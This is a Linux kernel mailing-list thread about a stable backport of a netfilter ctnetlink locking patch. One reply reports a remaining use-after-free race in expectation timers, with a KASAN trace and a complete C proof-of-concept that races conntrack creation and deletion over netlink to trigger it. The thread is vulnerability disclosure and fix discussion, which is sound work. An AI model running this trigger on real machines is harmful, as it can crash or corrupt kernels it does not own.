* [PATCH 6.6.y] netfilter: ctnetlink: ensure safe access to master conntrack
@ 2026-06-12 20:24 Mark Bundschuh
2026-06-13 14:51 ` Sasha Levin
2026-06-14 14:38 ` XIAO WU
0 siblings, 2 replies; 4+ messages in thread
From: Mark Bundschuh @ 2026-06-12 20:24 UTC (permalink / raw)
To: stable; +Cc: netfilter-devel, Pablo Neira Ayuso, Florian Westphal
From: Pablo Neira Ayuso <pablo@netfilter.org>
[ Upstream commit bffcaad9afdfe45d7fc777397d3b83c1e3ebffe5 ]
Holding reference on the expectation is not sufficient, the master
conntrack object can just go away, making exp->master invalid.
To access exp->master safely:
- Grab the nf_conntrack_expect_lock, this gets serialized with
clean_from_lists() which also holds this lock when the master
conntrack goes away.
- Hold reference on master conntrack via nf_conntrack_find_get().
Not so easy since the master tuple to look up for the master conntrack
is not available in the existing problematic paths.
This patch goes for extending the nf_conntrack_expect_lock section
to address this issue for simplicity, in the cases that are described
below this is just slightly extending the lock section.
The add expectation command already holds a reference to the master
conntrack from ctnetlink_create_expect().
However, the delete expectation command needs to grab the spinlock
before looking up for the expectation. Expand the existing spinlock
section to address this to cover the expectation lookup. Note that,
the nf_ct_expect_iterate_net() calls already grabs the spinlock while
iterating over the expectation table, which is correct.
The get expectation command needs to grab the spinlock to ensure master
conntrack does not go away. This also expands the existing spinlock
section to cover the expectation lookup too. I needed to move the
netlink skb allocation out of the spinlock to keep it GFP_KERNEL.
For the expectation events, the IPEXP_DESTROY event is already delivered
under the spinlock, just move the delivery of IPEXP_NEW under the
spinlock too because the master conntrack event cache is reached through
exp->master.
While at it, add lockdep notations to help identify what codepaths need
to grab the spinlock.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
[ fix timer_delete -> del_timer in diff context lines since 8fa7292
("treewide: Switch/rename to timer_delete[_sync]()") landed in 6.15 ]
Signed-off-by: Mark Bundschuh <mkbund@amazon.com>
---
include/net/netfilter/nf_conntrack_core.h | 5 ++++
net/netfilter/nf_conntrack_ecache.c | 2 ++
net/netfilter/nf_conntrack_expect.c | 10 +++++++-
net/netfilter/nf_conntrack_netlink.c | 28 +++++++++++++++--------
4 files changed, 35 insertions(+), 10 deletions(-)
diff --git a/include/net/netfilter/nf_conntrack_core.h b/include/net/netfilter/nf_conntrack_core.h
index 3384859a8921..8883575adcc1 100644
--- a/include/net/netfilter/nf_conntrack_core.h
+++ b/include/net/netfilter/nf_conntrack_core.h
@@ -83,6 +83,11 @@ void nf_conntrack_lock(spinlock_t *lock);
extern spinlock_t nf_conntrack_expect_lock;
+static inline void lockdep_nfct_expect_lock_held(void)
+{
+ lockdep_assert_held(&nf_conntrack_expect_lock);
+}
+
/* ctnetlink code shared by both ctnetlink and nf_conntrack_bpf */
static inline void __nf_ct_set_timeout(struct nf_conn *ct, u64 timeout)
diff --git a/net/netfilter/nf_conntrack_ecache.c b/net/netfilter/nf_conntrack_ecache.c
index 69948e1d6974..6526bdcca580 100644
--- a/net/netfilter/nf_conntrack_ecache.c
+++ b/net/netfilter/nf_conntrack_ecache.c
@@ -237,6 +237,8 @@ void nf_ct_expect_event_report(enum ip_conntrack_expect_events event,
struct nf_ct_event_notifier *notify;
struct nf_conntrack_ecache *e;
+ lockdep_nfct_expect_lock_held();
+
rcu_read_lock();
notify = rcu_dereference(net->ct.nf_conntrack_event_cb);
if (!notify)
diff --git a/net/netfilter/nf_conntrack_expect.c b/net/netfilter/nf_conntrack_expect.c
index 70bcddfc17cc..379711ea5ab6 100644
--- a/net/netfilter/nf_conntrack_expect.c
+++ b/net/netfilter/nf_conntrack_expect.c
@@ -51,6 +51,7 @@ void nf_ct_unlink_expect_report(struct nf_conntrack_expect *exp,
struct net *net = nf_ct_exp_net(exp);
struct nf_conntrack_net *cnet;
+ lockdep_nfct_expect_lock_held();
WARN_ON(!master_help);
WARN_ON(timer_pending(&exp->timeout));
@@ -118,6 +119,8 @@ nf_ct_exp_equal(const struct nf_conntrack_tuple *tuple,
bool nf_ct_remove_expect(struct nf_conntrack_expect *exp)
{
+ lockdep_nfct_expect_lock_held();
+
if (del_timer(&exp->timeout)) {
nf_ct_unlink_expect(exp);
nf_ct_expect_put(exp);
@@ -177,6 +180,8 @@ nf_ct_find_expectation(struct net *net,
struct nf_conntrack_expect *i, *exp = NULL;
unsigned int h;
+ lockdep_nfct_expect_lock_held();
+
if (!cnet->expect_count)
return NULL;
@@ -459,6 +464,8 @@ static inline int __nf_ct_expect_check(struct nf_conntrack_expect *expect,
unsigned int h;
int ret = 0;
+ lockdep_nfct_expect_lock_held();
+
if (!master_help) {
ret = -ESHUTDOWN;
goto out;
@@ -515,8 +522,9 @@ int nf_ct_expect_related_report(struct nf_conntrack_expect *expect,
nf_ct_expect_insert(expect);
- spin_unlock_bh(&nf_conntrack_expect_lock);
nf_ct_expect_event_report(IPEXP_NEW, expect, portid, report);
+ spin_unlock_bh(&nf_conntrack_expect_lock);
+
return 0;
out:
spin_unlock_bh(&nf_conntrack_expect_lock);
diff --git a/net/netfilter/nf_conntrack_netlink.c b/net/netfilter/nf_conntrack_netlink.c
index 255996f43d85..eff5008f5e9d 100644
--- a/net/netfilter/nf_conntrack_netlink.c
+++ b/net/netfilter/nf_conntrack_netlink.c
@@ -3326,31 +3326,37 @@ static int ctnetlink_get_expect(struct sk_buff *skb,
if (err < 0)
return err;
+ skb2 = nlmsg_new(NLMSG_DEFAULT_SIZE, GFP_KERNEL);
+ if (!skb2)
+ return -ENOMEM;
+
+ spin_lock_bh(&nf_conntrack_expect_lock);
exp = nf_ct_expect_find_get(info->net, &zone, &tuple);
- if (!exp)
+ if (!exp) {
+ spin_unlock_bh(&nf_conntrack_expect_lock);
+ kfree_skb(skb2);
return -ENOENT;
+ }
if (cda[CTA_EXPECT_ID]) {
__be32 id = nla_get_be32(cda[CTA_EXPECT_ID]);
if (id != nf_expect_get_id(exp)) {
nf_ct_expect_put(exp);
+ spin_unlock_bh(&nf_conntrack_expect_lock);
+ kfree_skb(skb2);
return -ENOENT;
}
}
- skb2 = nlmsg_new(NLMSG_DEFAULT_SIZE, GFP_KERNEL);
- if (!skb2) {
- nf_ct_expect_put(exp);
- return -ENOMEM;
- }
-
rcu_read_lock();
err = ctnetlink_exp_fill_info(skb2, NETLINK_CB(skb).portid,
info->nlh->nlmsg_seq, IPCTNL_MSG_EXP_NEW,
exp);
rcu_read_unlock();
nf_ct_expect_put(exp);
+ spin_unlock_bh(&nf_conntrack_expect_lock);
+
if (err <= 0) {
kfree_skb(skb2);
return -ENOMEM;
@@ -3397,22 +3403,26 @@ static int ctnetlink_del_expect(struct sk_buff *skb,
if (err < 0)
return err;
+ spin_lock_bh(&nf_conntrack_expect_lock);
+
/* bump usage count to 2 */
exp = nf_ct_expect_find_get(info->net, &zone, &tuple);
- if (!exp)
+ if (!exp) {
+ spin_unlock_bh(&nf_conntrack_expect_lock);
return -ENOENT;
+ }
if (cda[CTA_EXPECT_ID]) {
__be32 id = nla_get_be32(cda[CTA_EXPECT_ID]);
if (id != nf_expect_get_id(exp)) {
nf_ct_expect_put(exp);
+ spin_unlock_bh(&nf_conntrack_expect_lock);
return -ENOENT;
}
}
/* after list removal, usage count == 1 */
- spin_lock_bh(&nf_conntrack_expect_lock);
if (del_timer(&exp->timeout)) {
nf_ct_unlink_expect_report(exp, NETLINK_CB(skb).portid,
nlmsg_report(info->nlh));
--
2.50.1
^ permalink raw reply related [flat|nested] 4+ messages in thread
* Re: [PATCH 6.6.y] netfilter: ctnetlink: ensure safe access to master conntrack
2026-06-12 20:24 [PATCH 6.6.y] netfilter: ctnetlink: ensure safe access to master conntrack Mark Bundschuh
@ 2026-06-13 14:51 ` Sasha Levin
2026-06-14 14:38 ` XIAO WU
1 sibling, 0 replies; 4+ messages in thread
From: Sasha Levin @ 2026-06-13 14:51 UTC (permalink / raw)
To: stable
Cc: Sasha Levin, netfilter-devel, Pablo Neira Ayuso, Florian Westphal,
Mark Bundschuh
On Fri, Jun 12, 2026 at 08:24:08PM +0000, Mark Bundschuh wrote:
> From: Pablo Neira Ayuso <pablo@netfilter.org>
>
> [ Upstream commit bffcaad9afdfe45d7fc777397d3b83c1e3ebffe5 ]
Queued for 6.6.y, thanks.
--
Thanks,
Sasha
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH 6.6.y] netfilter: ctnetlink: ensure safe access to master conntrack
2026-06-12 20:24 [PATCH 6.6.y] netfilter: ctnetlink: ensure safe access to master conntrack Mark Bundschuh
2026-06-13 14:51 ` Sasha Levin
@ 2026-06-14 14:38 ` XIAO WU
2026-06-14 22:28 ` Pablo Neira Ayuso
1 sibling, 1 reply; 4+ messages in thread
From: XIAO WU @ 2026-06-14 14:38 UTC (permalink / raw)
To: Mark Bundschuh, stable, LKML
Cc: netfilter-devel, Pablo Neira Ayuso, Florian Westphal
Hi,
Pablo Neira Ayuso <pablo@netfilter.org> wrote:
> Holding reference on the expectation is not sufficient, the master
> conntrack object can just go away, making exp->master invalid.
>
> [...]
>
> This patch goes for extending the nf_conntrack_expect_lock section
> to address this issue for simplicity, in the cases that are described
> below this is just slightly extending the lock section.
I tested this patch on 6.6.142-g005cf9204c4e with KASAN + lockdep
enabled and found that the lock extension in ctnetlink_get_expect()
and ctnetlink_del_expect() does address the expectation-lookup paths,
but one other path still races:
clean_from_lists()
nf_ct_remove_expectations() // holds nf_conntrack_expect_lock
list_for_each_entry_safe(exp, ...)
nf_ct_remove_expect(exp)
del_timer(&exp->timeout) // returns false if timer is
// already executing on
another CPU
// expectation NOT unlinked
...
nf_conntrack_free(ct) // master is freed
// meanwhile, on another CPU:
nf_ct_expectation_timed_out() // timer callback fires
nf_ct_unlink_expect_report(exp, ...) // acquires
nf_conntrack_expect_lock
nf_ct_expect_event_report(...)
e = nf_ct_ecache_find(exp->master); // UAF -- master already freed
nf_ct_remove_expect() already has the lockdep annotation added by this
patch:
> + lockdep_nfct_expect_lock_held();
> +
> if (del_timer(&exp->timeout)) {
> nf_ct_unlink_expect(exp);
> nf_ct_expect_put(exp);
But holding the lock is not enough: del_timer() cannot cancel a timer
that is already running on another CPU. When it returns false, the
expectation stays in the hash table, the master is freed immediately
afterward, and the in-flight timer callback hits a dangling exp->master.
The same del_timer() pattern also exists in ctnetlink_del_expect(),
which the patch already extends:
> + spin_lock_bh(&nf_conntrack_expect_lock);
> +
> /* bump usage count to 2 */
> exp = nf_ct_expect_find_get(info->net, &zone, &tuple);
> [...]
> /* after list removal, usage count == 1 */
> - spin_lock_bh(&nf_conntrack_expect_lock);
> if (del_timer(&exp->timeout)) {
> nf_ct_unlink_expect_report(exp, NETLINK_CB(skb).portid,
> nlmsg_report(info->nlh));
This del_timer() call has the same vulnerability -- just holding the
lock doesn't prevent the timer from executing concurrently before the
lock was acquired. The timer callback will spin-wait for the lock,
acquire it after ctnetlink_del_expect() drops it, and then access the
now-freed (or about-to-be-freed) master.
I wrote a PoC that triggers this reliably. It creates a conntrack with
the "tftp" helper attached (which generates expectations), then deletes
the master conntrack via ctnetlink_del_conntrack. Two threads on
separate CPUs loop this create/delete cycle; within ~50,000 iterations
the expectation timer fires after the master has been freed.
KASAN report (6.6.142-g005cf9204c4e, trimmed):
==================================================================
BUG: KASAN: slab-use-after-free in nf_ct_expect_event_report+0x5a7/0x5f0
Read of size 1 at addr ffff888107667b84 by task poc/27645
Call Trace:
<IRQ>
dump_stack_lvl+0xd9/0x1b0
print_report+0xce/0x630
kasan_report+0xd4/0x110
nf_ct_expect_event_report+0x5a7/0x5f0 <-- reads exp->master
nf_ct_unlink_expect_report+0x406/0x720
nf_ct_expectation_timed_out+0x31/0x50 <-- timer callback
call_timer_fn+0x1a6/0x590
__run_timers+0x763/0xb40
run_timer_softirq+0x5d/0xd0
...
</IRQ>
Allocated by task 27645 (poc):
ctnetlink_create_conntrack+0x606/0x1650
ctnetlink_new_conntrack+0x628/0x10b0
...
Freed by task 27653 (poc):
nf_conntrack_free+0x109/0x460
nf_ct_destroy+0x1b0/0x2d0
ctnetlink_del_conntrack+0x6e9/0x980
...
The buggy address belongs to the object at ffff888107667b80
which belongs to the cache kmalloc-128 of size 128
The buggy address is located 4 bytes inside of
freed 128-byte region [ffff888107667b80, ffff888107667c00)
I think the del_timer() calls in both nf_ct_remove_expect() and
ctnetlink_del_expect() need to be replaced with del_timer_sync() to
properly wait for in-flight timer callbacks before allowing the master
conntrack to be freed. nf_ct_remove_expect() runs under the spinlock
so it would need to drop the lock, del_timer_sync(), then reacquire and
revalidate, which is the standard pattern for this.
PoC source below. Build: gcc -Wall -O2 -o poc poc.c -lpthread
---8<--- poc.c ---
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <linux/netlink.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nfnetlink_conntrack.h>
#include <sched.h>
static int open_nl(void) {
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
if (fd < 0) return -1;
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (bind(fd, (struct sockaddr*)&sa, sizeof(sa)) < 0) {
close(fd); return -1;
}
return fd;
}
static int do_cmd(int fd, int subsys, int msgtype, int flags,
void *attr, int alen) {
char buf[4096] = {};
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
nlh->nlmsg_type = (subsys << 8) | msgtype;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
nlh->nlmsg_seq = 1;
int off = NLMSG_HDRLEN;
struct nfgenmsg *nfg = (struct nfgenmsg *)(buf + off);
nfg->nfgen_family = AF_INET;
nfg->version = NFNETLINK_V0;
nfg->res_id = 0;
off += sizeof(*nfg);
if (attr && alen > 0) { memcpy(buf + off, attr, alen); off += alen; }
nlh->nlmsg_len = off;
struct iovec siov = { buf, off };
struct msghdr smsg = { &sa, sizeof(sa), &siov, 1, NULL, 0, 0 };
if (sendmsg(fd, &smsg, 0) < 0) return -errno;
fd_set rfds; FD_ZERO(&rfds); FD_SET(fd, &rfds);
struct timeval tv = { .tv_sec = 3, .tv_usec = 0 };
if (select(fd + 1, &rfds, NULL, NULL, &tv) <= 0) return -ETIMEDOUT;
char resp[8192];
struct sockaddr_nl rsa;
socklen_t rsalen = sizeof(rsa);
struct iovec riov = { resp, sizeof(resp) };
struct msghdr rmsg = { &rsa, rsalen, &riov, 1, NULL, 0, 0 };
int r = recvmsg(fd, &rmsg, 0);
if (r < 0) return -errno;
struct nlmsghdr *rnh = (struct nlmsghdr *)resp;
if (rnh->nlmsg_type == NLMSG_ERROR)
return ((struct nlmsgerr *)NLMSG_DATA(rnh))->error;
return 0;
}
/*
* Build CT_NEW netlink attributes: conntrack with "tftp-0" helper.
* The tftp helper creates expectations, so the conntrack acts as
* a master. Deleting the master races with the expectation timer.
*/
static int mk_ct_new(char *b) {
int off = 0, st, ip, pr;
__u32 s = inet_addr("10.0.0.1"), d = inet_addr("10.0.0.2");
__u16 sp = 12345, dp = 20000;
struct nlattr *nla;
/* CTA_TUPLE_ORIG */
st = off; nla = (void *)(b + off);
nla->nla_type = CTA_TUPLE_ORIG | NLA_F_NESTED; off += 4;
ip = off; nla = (void *)(b + off);
nla->nla_type = CTA_TUPLE_IP | NLA_F_NESTED; off += 4;
nla = (void *)(b + off);
nla->nla_type = CTA_IP_V4_SRC; nla->nla_len = 8;
*(__u32 *)(b + off + 4) = s; off += 8;
nla = (void *)(b + off);
nla->nla_type = CTA_IP_V4_DST; nla->nla_len = 8;
*(__u32 *)(b + off + 4) = d; off += 8;
((struct nlattr *)(b + ip))->nla_len = off - ip;
pr = off; nla = (void *)(b + off);
nla->nla_type = CTA_TUPLE_PROTO | NLA_F_NESTED; off += 4;
nla = (void *)(b + off);
nla->nla_type = CTA_PROTO_NUM; nla->nla_len = 5;
*(b + off + 4) = IPPROTO_UDP; off += 8;
nla = (void *)(b + off);
nla->nla_type = CTA_PROTO_SRC_PORT; nla->nla_len = 6;
*(__u16 *)(b + off + 4) = htons(sp); off += 8;
nla = (void *)(b + off);
nla->nla_type = CTA_PROTO_DST_PORT; nla->nla_len = 6;
*(__u16 *)(b + off + 4) = htons(dp); off += 8;
((struct nlattr *)(b + pr))->nla_len = off - pr;
((struct nlattr *)(b + st))->nla_len = off - st;
/* CTA_TUPLE_REPLY */
st = off; nla = (void *)(b + off);
nla->nla_type = CTA_TUPLE_REPLY | NLA_F_NESTED; off += 4;
ip = off; nla = (void *)(b + off);
nla->nla_type = CTA_TUPLE_IP | NLA_F_NESTED; off += 4;
nla = (void *)(b + off);
nla->nla_type = CTA_IP_V4_SRC; nla->nla_len = 8;
*(__u32 *)(b + off + 4) = d; off += 8;
nla = (void *)(b + off);
nla->nla_type = CTA_IP_V4_DST; nla->nla_len = 8;
*(__u32 *)(b + off + 4) = s; off += 8;
((struct nlattr *)(b + ip))->nla_len = off - ip;
pr = off; nla = (void *)(b + off);
nla->nla_type = CTA_TUPLE_PROTO | NLA_F_NESTED; off += 4;
nla = (void *)(b + off);
nla->nla_type = CTA_PROTO_NUM; nla->nla_len = 5;
*(b + off + 4) = IPPROTO_UDP; off += 8;
nla = (void *)(b + off);
nla->nla_type = CTA_PROTO_SRC_PORT; nla->nla_len = 6;
*(__u16 *)(b + off + 4) = htons(dp); off += 8;
nla = (void *)(b + off);
nla->nla_type = CTA_PROTO_DST_PORT; nla->nla_len = 6;
*(__u16 *)(b + off + 4) = htons(sp); off += 8;
((struct nlattr *)(b + pr))->nla_len = off - pr;
((struct nlattr *)(b + st))->nla_len = off - st;
/* CTA_HELP: "tftp-0" -- creates expectations via helper */
st = off; nla = (void *)(b + off);
nla->nla_type = CTA_HELP | NLA_F_NESTED; off += 4;
nla = (void *)(b + off);
nla->nla_type = CTA_HELP_NAME; nla->nla_len = 11;
memcpy(b + off + 4, "tftp-0", 7); off += 12;
((struct nlattr *)(b + st))->nla_len = off - st;
/* CTA_TIMEOUT */
nla = (void *)(b + off);
nla->nla_type = CTA_TIMEOUT; nla->nla_len = 8;
*(__u32 *)(b + off + 4) = htonl(3600); off += 8;
return off;
}
/* Build CT_DEL: delete the conntrack by original tuple */
static int mk_ct_del(char *b) {
int off = 0, ip, pr;
__u32 s = inet_addr("10.0.0.1"), d = inet_addr("10.0.0.2");
__u16 sp = 12345, dp = 20000;
struct nlattr *nla;
nla = (void *)(b + off);
nla->nla_type = CTA_TUPLE_ORIG | NLA_F_NESTED; off += 4;
ip = off; nla = (void *)(b + off);
nla->nla_type = CTA_TUPLE_IP | NLA_F_NESTED; off += 4;
nla = (void *)(b + off);
nla->nla_type = CTA_IP_V4_SRC; nla->nla_len = 8;
*(__u32 *)(b + off + 4) = s; off += 8;
nla = (void *)(b + off);
nla->nla_type = CTA_IP_V4_DST; nla->nla_len = 8;
*(__u32 *)(b + off + 4) = d; off += 8;
((struct nlattr *)(b + ip))->nla_len = off - ip;
pr = off; nla = (void *)(b + off);
nla->nla_type = CTA_TUPLE_PROTO | NLA_F_NESTED; off += 4;
nla = (void *)(b + off);
nla->nla_type = CTA_PROTO_NUM; nla->nla_len = 5;
*(b + off + 4) = IPPROTO_UDP; off += 8;
nla = (void *)(b + off);
nla->nla_type = CTA_PROTO_SRC_PORT; nla->nla_len = 6;
*(__u16 *)(b + off + 4) = htons(sp); off += 8;
nla = (void *)(b + off);
nla->nla_type = CTA_PROTO_DST_PORT; nla->nla_len = 6;
*(__u16 *)(b + off + 4) = htons(dp); off += 8;
((struct nlattr *)(b + pr))->nla_len = off - pr;
((struct nlattr *)(b + 0))->nla_len = off;
return off;
}
struct ta { int fd; volatile int stop; volatile unsigned long c; };
void *runner(void *a) {
struct ta *t = a;
char b[3000];
cpu_set_t cpu; CPU_ZERO(&cpu); CPU_SET(0, &cpu);
sched_setaffinity(0, sizeof(cpu), &cpu);
while (!t->stop) {
do_cmd(t->fd, NFNL_SUBSYS_CTNETLINK, IPCTNL_MSG_CT_DELETE,
0, b, mk_ct_del(b));
int l = mk_ct_new(b);
do_cmd(t->fd, NFNL_SUBSYS_CTNETLINK, IPCTNL_MSG_CT_NEW,
NLM_F_CREATE | NLM_F_EXCL, b, l);
t->c++;
if (t->c % 1000 == 0) printf("[CPU0] %lu\n", t->c);
}
return 0;
}
int main(void) {
int fd, l, r;
char b[3000];
pthread_t th;
struct ta ta = {0};
unsigned long c = 0;
cpu_set_t cpu;
printf("[+] UAF PoC: ctnetlink expect master race\n");
fd = open_nl();
if (fd < 0) { perror("open_nl"); return 1; }
/* Sanity check: one full create/delete cycle */
l = mk_ct_new(b);
r = do_cmd(fd, NFNL_SUBSYS_CTNETLINK, IPCTNL_MSG_CT_NEW,
NLM_F_CREATE | NLM_F_EXCL, b, l);
printf("[+] Initial CT_NEW: %d\n", r);
if (r == 0) {
l = mk_ct_del(b);
r = do_cmd(fd, NFNL_SUBSYS_CTNETLINK, IPCTNL_MSG_CT_DELETE,
0, b, l);
printf("[+] Initial CT_DEL: %d\n", r);
}
/*
* Race: CPU 0 and CPU 1 both run a tight loop of
* CT_NEW (with tftp helper -> expectations) then CT_DELETE.
* When the master conntrack is destroyed via
* ctnetlink_del_conntrack -> nf_conntrack_free(),
* the expectation's timer may fire afterward and dereference
* the freed exp->master.
*/
printf("[+] Starting create/delete race on CPUs 0 and 1\n");
ta.fd = fd;
pthread_create(&th, NULL, runner, &ta);
CPU_ZERO(&cpu); CPU_SET(1, &cpu);
sched_setaffinity(0, sizeof(cpu), &cpu);
while (c < 50000 && !ta.stop) {
do_cmd(fd, NFNL_SUBSYS_CTNETLINK, IPCTNL_MSG_CT_DELETE,
0, b, mk_ct_del(b));
do_cmd(fd, NFNL_SUBSYS_CTNETLINK, IPCTNL_MSG_CT_NEW,
NLM_F_CREATE | NLM_F_EXCL, b, mk_ct_new(b));
c++;
if (c % 1000 == 0) printf("[CPU1] %lu\n", c);
}
ta.stop = 1;
pthread_join(th, NULL);
printf("[+] CPU0: %lu iters, CPU1: %lu iters\n", ta.c, c);
printf("[+] Done. Check dmesg for KASAN report.\n");
close(fd);
return 0;
}
Hope this is helpful.
Thanks,
Xiao
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH 6.6.y] netfilter: ctnetlink: ensure safe access to master conntrack
2026-06-14 14:38 ` XIAO WU
@ 2026-06-14 22:28 ` Pablo Neira Ayuso
0 siblings, 0 replies; 4+ messages in thread
From: Pablo Neira Ayuso @ 2026-06-14 22:28 UTC (permalink / raw)
To: XIAO WU; +Cc: Mark Bundschuh, stable, LKML, netfilter-devel, Florian Westphal
Hi,
On Sun, Jun 14, 2026 at 10:38:16PM +0800, XIAO WU wrote:
> Hi,
>
> Pablo Neira Ayuso <pablo@netfilter.org> wrote:
> > Holding reference on the expectation is not sufficient, the master
> > conntrack object can just go away, making exp->master invalid.
> >
> > [...]
> >
> > This patch goes for extending the nf_conntrack_expect_lock section
> > to address this issue for simplicity, in the cases that are described
> > below this is just slightly extending the lock section.
>
> I tested this patch on 6.6.142-g005cf9204c4e with KASAN + lockdep
> enabled and found that the lock extension in ctnetlink_get_expect()
> and ctnetlink_del_expect() does address the expectation-lookup paths,
> but one other path still races:
>
> clean_from_lists()
> nf_ct_remove_expectations() // holds nf_conntrack_expect_lock
> list_for_each_entry_safe(exp, ...)
> nf_ct_remove_expect(exp)
> del_timer(&exp->timeout) // returns false if timer is
> // already executing on another CPU
> // expectation NOT unlinked
> ...
> nf_conntrack_free(ct) // master is freed
>
> // meanwhile, on another CPU:
> nf_ct_expectation_timed_out() // timer callback fires
> nf_ct_unlink_expect_report(exp, ...) // acquires
> nf_conntrack_expect_lock
> nf_ct_expect_event_report(...)
> e = nf_ct_ecache_find(exp->master); // UAF -- master already freed
>
> nf_ct_remove_expect() already has the lockdep annotation added by this
> patch:
>
> > + lockdep_nfct_expect_lock_held();
> > +
> > if (del_timer(&exp->timeout)) {
> > nf_ct_unlink_expect(exp);
> > nf_ct_expect_put(exp);
>
> But holding the lock is not enough: del_timer() cannot cancel a timer
> that is already running on another CPU. When it returns false, the
> expectation stays in the hash table, the master is freed immediately
> afterward, and the in-flight timer callback hits a dangling exp->master.
>
> The same del_timer() pattern also exists in ctnetlink_del_expect(),
> which the patch already extends:
>
> > + spin_lock_bh(&nf_conntrack_expect_lock);
> > +
> > /* bump usage count to 2 */
> > exp = nf_ct_expect_find_get(info->net, &zone, &tuple);
> > [...]
> > /* after list removal, usage count == 1 */
> > - spin_lock_bh(&nf_conntrack_expect_lock);
> > if (del_timer(&exp->timeout)) {
> > nf_ct_unlink_expect_report(exp, NETLINK_CB(skb).portid,
> > nlmsg_report(info->nlh));
>
> This del_timer() call has the same vulnerability -- just holding the
> lock doesn't prevent the timer from executing concurrently before the
> lock was acquired. The timer callback will spin-wait for the lock,
> acquire it after ctnetlink_del_expect() drops it, and then access the
> now-freed (or about-to-be-freed) master.
Thanks for your report.
I started a patch to replace the existing expectation timers by GC
workqueue to address this issue.
^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2026-06-14 22:28 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-06-12 20:24 [PATCH 6.6.y] netfilter: ctnetlink: ensure safe access to master conntrack Mark Bundschuh
2026-06-13 14:51 ` Sasha Levin
2026-06-14 14:38 ` XIAO WU
2026-06-14 22:28 ` Pablo Neira Ayuso
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox